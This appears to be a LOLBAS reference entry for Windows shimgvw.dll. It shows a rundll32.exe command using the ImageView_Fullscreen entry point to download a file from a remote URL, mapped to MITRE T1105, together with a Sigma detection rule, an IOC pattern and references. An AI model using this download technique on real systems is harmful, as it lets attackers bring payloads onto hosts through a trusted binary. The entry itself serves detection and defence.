Download File Download Windows Once executed, rundll32.exe will download the file at the URL in the command to INetCache. Can also be used with entrypoint 'ImageView_FullscreenA'. Use Download file from remote location. rundll32.exe c:\Windows\System32\shimgvw.dll,ImageView_Fullscreen {REMOTEURL:.exe} copy Contextuser NativeDownload MITRET1105 DetectionSigma: github.com/SigmaHQ/sigma/blob/e1a713d264ac072bb76b5c4e5f41315a015d3f41/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.ymlIOC: Execution of rundll32.exe with 'ImageView_Fullscreen' and a protocol handler ('://') on the command line Refstwitter.com/eral4m/status/1479080793003671557lolbas-project.github.io/lolbas/Libraries/Shimgvw/